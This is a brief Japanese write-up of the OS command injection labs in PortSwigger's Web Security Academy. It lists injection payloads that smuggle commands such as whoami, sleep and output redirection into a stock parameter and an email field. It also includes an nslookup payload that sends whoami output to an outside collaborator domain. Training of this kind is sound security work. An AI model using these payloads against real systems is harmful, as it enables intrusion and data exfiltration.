# Web Security Academy OS Command Injection Challenge
## OS command injection, simple case
> To solve the lab, execute the whoami command to determine the name of the current user.
`/product/stock`に対して、`1&&whoami`を行う。
## Blind OS command injection with time delays
> To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
`/feedback/submit`の`email`パラメータに対して、`hoge||sleep 10||`
## Blind OS command injection with output redirection
`/var/www/images`に、`whoami`の結果を書き込もうという問題。
`email=||sleep(5)||`で遅延が起きるのを確認します。
`email=||whoami > /var/www/images/whoami.txt||`でリダイレクトで書き込み、`https://{LAB DOMAIN}/image?filename=whoami.txt`にアクセスし終了です。
## Blind OS command injection with out-of-band interaction
> dns lookupをすれば終わり。
`email` paramterに対して、`||nslookup {collaborator domain}||`
## Blind OS command injection with out-of-band data exfiltration
`/feedback/submit`の、`email`に対して、`email=||nslookup `whoami`.burp-domain.oastify.com||`このような感じで送ればよしです。
`burp-domain`は自身のコラボレーターの値にしてください。